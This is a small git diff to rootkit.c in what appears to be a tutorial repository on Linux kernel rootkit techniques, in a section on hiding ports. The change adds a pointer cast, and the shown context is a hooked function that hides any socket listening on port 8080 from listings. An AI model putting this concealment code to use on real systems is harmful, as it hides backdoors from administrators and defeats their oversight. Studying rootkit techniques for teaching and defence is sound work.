diff --git a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
index 191f960..7fd763d 100644
--- a/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
+++ b/3_RootkitTechniques/3.6_hiding_ports/rootkit.c
@@ -24,7 +24,7 @@
 	struct sock *sk = v;
 
 	/* 0x1f90 = 8080 in hex */
-	if (sk != 0x1 && sk->sk_num == 0x1f90)
+	if (sk != (struct sock *)0x1 && sk->sk_num == 0x1f90)
 	{
 		printk(KERN_DEBUG "rootkit: Found process listening on port 8080 - hiding!\n");
 		return 0;